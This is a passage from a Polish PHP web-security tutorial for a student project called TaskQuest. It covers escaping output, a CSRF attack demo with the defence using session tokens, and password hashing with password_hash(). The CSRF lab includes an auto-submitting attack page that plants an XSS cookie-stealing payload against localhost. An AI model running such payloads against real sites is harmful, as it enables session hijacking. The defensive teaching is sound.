<p class="wp-block-paragraph">Przykład dla pętli listy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: w miejscu, w którym wyświetlasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulCzysty</code>, zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= $tytulCzysty; ?&gt;</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars($tytulCzysty); ?&gt;</code>. Termin (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTermin()</code>) formalnie nie wymaga escapowania, bo kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code> przechowuje tylko cyfry i myślniki (pytanie kontrolne 3). Escapujemy go mimo to, żeby w pętli listy nie było wyjątków od reguły.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code> nadal zwraca surowy tytuł. Zmieniło się tylko to, <strong>jak go wyświetlamy</strong>.</p>
</blockquote>
</details>



<h1 class="wp-block-heading">5. Atak 3: CSRF</h1>



<h2 class="wp-block-heading">5.1 Na czym polega atak</h2>



<p class="wp-block-paragraph">CSRF (<em>cross-site request forgery</em>) to podrobione żądanie z innej strony. Przeglądarka dołącza ciasteczka TaskQuest do <strong>każdego</strong> żądania wysłanego do TaskQuest, także takiego, które wysłała cudza strona. PHP widzi poprawną sesję Kamy i wykonuje polecenie, choć Kama niczego nie kliknęła.</p>



<p class="wp-block-paragraph">Właśnie dlatego od Lekcji 13 zmiany danych wykonujemy wyłącznie przez POST. Link GET (<code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php?id=5</code>) dałoby się uruchomić nawet obrazkiem na forum. POST wymaga formularza, ale formularz też można podrobić.</p>



<p class="wp-block-paragraph"><strong>Zaatakuj TaskQuest.</strong> Utwórz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> <strong>poza</strong> katalogiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">htdocs</code>, np. na pulpicie. To „obca strona”, np. link wysłany graczowi z obietnicą darmowych punktów:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Darmowe XP!&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Odbierz darmowe 1000 XP!&lt;/h1&gt;

    &lt;form id="atak" method="post" action="http://localhost/taskquest/dodaj-zadanie.php"&gt;
        &lt;input type="hidden" name="tytul" value='&lt;img src="x" onerror="alert(document.cookie)"&gt;'&gt;
        &lt;input type="hidden" name="opis" value=""&gt;
        &lt;input type="hidden" name="termin" value="2026-12-31"&gt;
        &lt;input type="hidden" name="xp" value="100"&gt;
    &lt;/form&gt;

    &lt;script&gt;
        document.getElementById('atak').submit();
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">(Jeśli Twój projekt leży pod innym adresem niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost/taskquest</code>, popraw <code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code>.)</p>



<ol class="wp-block-list">
<li>W <strong>Firefoksie</strong> zaloguj się jako Kama.</li>



<li>W tym samym Firefoksie otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> (przeciągnij plik do okna przeglądarki).</li>



<li>Strona sama wysyła formularz. Lądujesz na liście zadań Kamy, a na liście jest nowe zadanie, którego Kama nie dodawała.</li>
</ol>



<p class="wp-block-paragraph">Tytuł zadania to kod ataku XSS. Po naprawie z sekcji 4 wyświetla się jako zwykły tekst. <strong>Bez tej naprawy</strong> w tym momencie wyskoczyłoby okienko z ciasteczkiem sesji Kamy: obca strona wstawia skrypt, a skrypt wykrada sesję. Tak łączą się oba ataki.</p>



<p class="wp-block-paragraph">Usuń podrzucone zadanie.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Dlaczego Firefox?</strong> Chrome i Edge traktują ciasteczko bez ustawienia <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite</code> tak, jakby miało <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite=Lax</code>. Takie ciasteczko nie jest dołączane do formularza POST wysłanego z innej strony, z jednym wyjątkiem: przez 2 minuty od ustawienia ciasteczka. W Chrome atak zadziała więc tylko tuż po zalogowaniu. Firefox i Safari domyślnie tak nie robią. Zachowanie przeglądarek się zmienia, a starsze przeglądarki nie mają tej ochrony wcale. Dlatego aplikacja <strong>nie może</strong> na nią liczyć i musi bronić się sama.</p>
</blockquote>



<h2 class="wp-block-heading">5.2 Nowy mechanizm: token CSRF</h2>



<p class="wp-block-paragraph">Pomysł jest prosty. Przy każdym formularzu TaskQuest dołącza ukryte pole z losowym, długim tekstem: <strong>tokenem</strong>. Ten sam token jest zapisany w sesji gracza. Po wysłaniu formularza PHP porównuje oba. Zgadzają się, więc formularz pochodzi z TaskQuest. Nie zgadzają się albo tokenu nie ma, więc formularz jest odrzucany.</p>



<p class="wp-block-paragraph">Obca strona nie zna tokenu. Nie może go odgadnąć, bo jest losowy i długi. Nie może też go odczytać, bo przeglądarka nie pozwala skryptom jednej strony czytać zawartości innej strony (zasada tego samego pochodzenia, <em>same-origin policy</em>).</p>



<p class="wp-block-paragraph">Potrzebne funkcje (brudnopis <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>, pod poprzednim kodem):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$token = bin2hex(random_bytes(32));
echo '&lt;p&gt;Token: ' . $token . '&lt;/p&gt;';

var_dump(hash_equals($token, $token));
var_dump(hash_equals($token, 'zgaduje'));</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">random_bytes(32)</code> zwraca 32 losowe bajty z generatora przeznaczonego do zabezpieczeń. <code class="prettyprint lang-sql" style="font-size: 0.85em;">rand()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mt_rand()</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uniqid()</code> się do tego nie nadają, bo ich wyniki da się przewidzieć.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bin2hex()</code> zamienia bajty na tekst z cyframi <code class="prettyprint lang-sql" style="font-size: 0.85em;">0–9</code> i literami <code class="prettyprint lang-sql" style="font-size: 0.85em;">a–f</code>. 32 bajty dają 64 znaki. Taki tekst bezpiecznie wstawisz do HTML, nawet bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals($znany, $podany)</code> porównuje dwa teksty. Działa jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code>, ale zawsze sprawdza <strong>wszystkie</strong> znaki. <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> kończy przy pierwszej różnicy, więc z czasu odpowiedzi dałoby się zgadywać token znak po znaku.</li>
</ul>



<p class="wp-block-paragraph">Odśwież brudnopis kilka razy. Token za każdym razem jest inny.</p>



<p class="wp-block-paragraph"><strong>Decyzja TaskQuest:</strong> jeden token na sesję. Powstaje przy pierwszym formularzu i obowiązuje do wylogowania. Token osobny dla każdego formularza jest trochę bezpieczniejszy, ale psuje pracę w kilku kartach naraz.</p>



<h2 class="wp-block-heading">5.3 SAMODZIELNIE — funkcje tokenu</h2>



<p class="wp-block-paragraph">Na końcu pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> dopisz dwie funkcje:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTokenCsrf(): string</code> — jeśli w sesji nie ma jeszcze klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">'token_csrf'</code>, zapisuje tam nowy token (64 znaki, jak w brudnopisie). Zwraca token z sesji.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf(): bool</code> — odczytuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['token_csrf']</code> (brak pola traktuje jak pusty tekst). Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> tylko wtedy, gdy w sesji <strong>jest</strong> token i jest on równy tokenowi z formularza.</li>
</ol>



<p class="wp-block-paragraph">Tak jak pozostałe funkcje w tym pliku, obie korzystają z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>, ale jej nie uruchamiają.</p>



<p class="wp-block-paragraph">Sprawdź w brudnopisie (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> na początku i <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_sesji.php</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Oczekiwany wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code></th></tr></thead><tbody><tr><td>brak tokenu w sesji, brak pola w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['token_csrf'] = pobierzTokenCsrf();</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['token_csrf'] = 'abc';</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr></tbody></table></figure>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Pułapka jest w pierwszej sytuacji. W sesji nie ma tokenu (np. sesja wygasła), więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['token_csrf']</code> nie istnieje. PHP wypisze ostrzeżenie, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code> dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> i przerwie skrypt błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>. Samo porównanie nie wystarczy. Najpierw sprawdź, czy token w sesji w ogóle istnieje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code>).</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST&#91;'token_csrf'] ?? '';

    if (/* w sesji nie ma tokenu */ || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals(...);
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">is_string()</code> chroni przed przesłaniem pola jako tablicy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf[]=...</code>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code> dostałaby wtedy tablicę i przerwałaby skrypt błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pobierzTokenCsrf(): string
{
    if (!isset($_SESSION&#91;'token_csrf'])) {
        $_SESSION&#91;'token_csrf'] = bin2hex(random_bytes(32));
    }

    return $_SESSION&#91;'token_csrf'];
}

function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST&#91;'token_csrf'] ?? '';

    if (!isset($_SESSION&#91;'token_csrf']) || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals($_SESSION&#91;'token_csrf'], $tokenZFormularza);
}</code></pre>
</details>



<h2 class="wp-block-heading">5.4 Włączamy token do TaskQuest</h2>



<h3 class="wp-block-heading">Krok 1 — token w formularzach</h3>



<p class="wp-block-paragraph">Na każdej stronie z formularzem POST, <strong>tuż przed</strong> linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = ...</code>, dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf = pobierzTokenCsrf();</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wstaw tę linię pod blokiem komunikatu jednorazowego (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat = pobierzKomunikat();</code>), z komentarzem <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- token CSRF do formularzy na stronie ---</code>.</p>



<p class="wp-block-paragraph">Następnie w <strong>każdym</strong> formularzu POST, zaraz po otwierającym <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form ...&gt;</code>, dodaj ukryte pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf</code> z wartością <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf</code> (wzór ukrytego pola znasz z przycisków „Zrobione!” i „Usuń”):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Formularze</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>„Zrobione!”, „Usuń” (w pętli, przy każdym zadaniu), „Wyloguj”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>formularz nowego zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></td><td>formularz avatara</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>zrobisz w sekcji 6</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Sprawdzenie: na liście zadań otwórz źródło strony (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+U</code>). Każdy formularz ma pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf</code> i <strong>ta sama</strong> wartość powtarza się we wszystkich.</p>



<h3 class="wp-block-heading">Krok 2 — sprawdzanie tokenu</h3>



<p class="wp-block-paragraph">Są dwa rodzaje stron przyjmujących POST, więc są dwa sposoby reagowania na zły token.</p>



<p class="wp-block-paragraph"><strong>Strona z formularzem</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, później <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code>) pokazuje formularz jeszcze raz z komunikatem na liście <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code>. W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST')</code>, po odczycie pól, linię z walidacją (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = walidujNoweZadanie(...);</code>) umieść w gałęzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">jeśli token jest zły → do $bledy dopisz 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.'
w przeciwnym razie   → dotychczasowa walidacja</code></pre>



<p class="wp-block-paragraph">Dalsza część (<code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($bledy === []) { ... zapis ... }</code>) zostaje bez zmian. Pola zachowują wpisane dane, więc gracz musi tylko kliknąć jeszcze raz.</p>



<p class="wp-block-paragraph"><strong>Strona akcji</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>) nie ma HTML. Zaraz <strong>po</strong> sprawdzeniu, że metoda to POST, a <strong>przed</strong> odczytem <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">jeśli token jest zły → ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.'),
                       przekierowanie na index.php, exit</code></pre>



<p class="wp-block-paragraph">Najpierw token, dopiero potem dane z formularza. Żądanie spoza TaskQuest odrzucamy, zanim cokolwiek z nim zrobimy.</p>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code></strong> — to też strona akcji, ale do tej pory nie dołączała żadnego pliku. Dodaj pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code> dołączenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>. Przy złym tokenie przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> bez wylogowania i bez komunikatu.</p>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></strong> — uwaga na kolejność. Gdy plik przekroczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code>, PHP odrzuca <strong>całe</strong> żądanie: puste jest wtedy nie tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>, ale też <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, więc tokenu też nie ma. Gdyby token był sprawdzany jako pierwszy, gracz z za dużym plikiem zobaczyłby mylący komunikat o wygasłym formularzu. Kolejność w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik === null        → 'Plik jest za duży albo nie został wysłany.'   (jak w L21)
w przeciwnym razie, jeśli token jest zły → komunikat o wygasłym formularzu
w przeciwnym razie    → walidujAvatar($plik)</code></pre>



<p class="wp-block-paragraph">Pełne wersje: sekcja 11 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> w całości, pozostałe pliki opisane miejscami zmian).</p>



<h3 class="wp-block-heading">Krok 3 — sprawdzenie</h3>



<ol class="wp-block-list">
<li>Normalna praca: dodaj zadanie, oznacz je jako zrobione, usuń je, zmień avatar, wyloguj się i zaloguj ponownie (logowanie jeszcze bez tokenu). Wszystko działa jak przed lekcją.</li>



<li>Atak: zaloguj się w Firefoksie jako Kama i otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code>. Tym razem widzisz formularz „Nowe zadanie” z komunikatem „Formularz wygasł albo nie pochodzi z TaskQuest&#8230;”. Zadanie <strong>nie zostało</strong> dodane.</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Dodatkowy efekt: token obowiązuje tylko w jednej sesji. Formularz otwarty przed wylogowaniem i wysłany po ponownym zalogowaniu też zostanie odrzucony. To zamierzone.</p>
</blockquote>



<h1 class="wp-block-heading">6. Atak 4: wejście na cudze konto — hasła</h1>



<h2 class="wp-block-heading">6.1 Problem</h2>



<p class="wp-block-paragraph">Logowanie od Lekcji 14 jest demonstracyjne. Wystarczy znać login, a loginy są widoczne w rankingu. Tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> od Lekcji 17 ma kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>, ale u wszystkich jest w niej <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</p>



<p class="wp-block-paragraph">Nazwa kolumny nie jest przypadkowa. <strong>Nie zapisujemy hasła, tylko jego skrót (hash).</strong> Gdyby baza wyciekła (kopia zapasowa, błąd, nieuczciwy administrator), atakujący dostałby gotowe hasła. Ludzie często używają jednego hasła w wielu serwisach, więc wyciek z TaskQuest otworzyłby też ich pocztę.</p>



<p class="wp-block-paragraph">Hash to wynik funkcji jednokierunkowej. Z hasła łatwo policzyć hash, ale z hasha nie da się odtworzyć hasła. Przy logowaniu nie odszyfrowujemy niczego. Liczymy hash z wpisanego hasła i porównujemy.</p>



<h2 class="wp-block-heading">6.2 Nowy mechanizm: <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, pod kodem z sekcji 3, dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo '&lt;h2&gt;Hasła&lt;/h2&gt;';

echo '&lt;p&gt;md5: ' . md5('haslo123') . '&lt;/p&gt;';
echo '&lt;p&gt;md5: ' . md5('haslo123') . '&lt;/p&gt;';

echo '&lt;p&gt;password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '&lt;/p&gt;';
echo '&lt;p&gt;password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '&lt;/p&gt;';</code></pre>



<p class="wp-block-paragraph">Porównaj wyniki:</p>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code></strong> daje za każdym razem ten sam skrót. Te same hasła w bazie mają więc te same skróty. Popularne hasła mają gotowe skróty w publicznych tabelach, a do tego md5 liczy się bardzo szybko: komputer sprawdza miliony prób na sekundę. <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">sha1()</code> nie nadają się do haseł.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code></strong> daje za każdym razem <strong>inny</strong> wynik. Do hasła dokleja losową <strong>sól</strong> (<em>salt</em>), więc dwa identyczne hasła mają różne hashe. Algorytm jest też celowo wolny.</li>
</ul>



<p class="wp-block-paragraph">Budowa wyniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy
└┬┘└┬┘└─────────┬────────────┘└──────────────┬──────────────┘
 │  │           sól (22 znaki)          właściwy hash (31 znaków)
 │  koszt (10 = 2^10 powtórzeń; w PHP 8.4 domyślnie 12)
 algorytm (2y = bcrypt)</code></pre>



<p class="wp-block-paragraph">Wszystko, czego potrzeba do sprawdzenia hasła, jest zapisane w tym jednym tekście. Dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code> potrzebuje tylko dwóch rzeczy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify('wpisane hasło', $hashZBazy)   // true albo false</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PASSWORD_DEFAULT</code> oznacza „najlepszy algorytm, jaki ta wersja PHP uważa za domyślny”. W przyszłości może to być inny algorytm z dłuższym wynikiem. Dlatego kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(255)</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(60)</code>.</p>



<h3 class="wp-block-heading">Typowe błędy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> przy logowaniu i porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> z hashem z bazy — nigdy się nie zgodzi, bo sól jest za każdym razem inna. Do sprawdzania służy wyłącznie <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code> na haśle — spacja na początku albo końcu jest częścią hasła. Hasła nie czyścimy.</li>



<li>Hash wklejony w PHP w cudzysłowie <code class="prettyprint lang-sql" style="font-size: 0.85em;">"$2y$10$..."</code> — PHP potraktuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y</code> i dalsze fragmenty jak zmienne. Hash w kodzie PHP zapisujemy w apostrofach.</li>



<li>Hasło w <code class="prettyprint lang-sql" style="font-size: 0.85em;">value="..."</code> formularza, w sesji albo w komunikacie. Hasło żyje tylko w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo</code> w czasie jednego żądania.</li>
</ul>



<h2 class="wp-block-heading">6.3 SAMODZIELNIE — hashe kont testowych</h2>



<p class="wp-block-paragraph">Kama i Ola dostaną hasła:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Konto</th><th>Hasło</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">W brudnopisie wygeneruj hash dla każdego hasła i wypisz go. Potem sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code> dla czterech przypadków:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Hasło</th><th>Hash</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td><td>hash Kamy</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kamaquest26</code></td><td>hash Kamy</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (wielkość liter ma znaczenie)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code></td><td>hash Oli</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code></td><td>hash Kamy</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Skopiuj oba hashe do notatnika. Będą potrzebne w kroku 6.4.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> zapisz w zmiennej (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$hashKamy</code>) i użyj jej w <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>. Jeśli wygenerujesz hash drugi raz, będzie inny, ale nadal poprawny.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$hashKamy = password_hash('KamaQuest26', PASSWORD_DEFAULT);
$hashOli = password_hash('OlaQuest26', PASSWORD_DEFAULT);

echo '&lt;p&gt;Kama: ' . $hashKamy . '&lt;/p&gt;';
echo '&lt;p&gt;Ola: ' . $hashOli . '&lt;/p&gt;';

var_dump(password_verify('KamaQuest26', $hashKamy));
var_dump(password_verify('kamaquest26', $hashKamy));
var_dump(password_verify('OlaQuest26', $hashOli));
var_dump(password_verify('OlaQuest26', $hashKamy));</code></pre>
</details>



<h2 class="wp-block-heading">6.4 Włączamy hasła do TaskQuest</h2>



<h3 class="wp-block-heading">Krok 1 — baza</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>:</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy</code> zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash VARCHAR(255) NULL</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash VARCHAR(255) NOT NULL</code>. Od teraz nie ma kont bez hasła. Zaktualizuj komentarz przy kolumnie.</li>



<li>Polecenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy</code> zastąp wersją, która <strong>wymienia kolumny</strong> i podaje hashe z kroku 6.3:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 'TU_HASH_KAMY', 99, 5, '2026-09-14'),
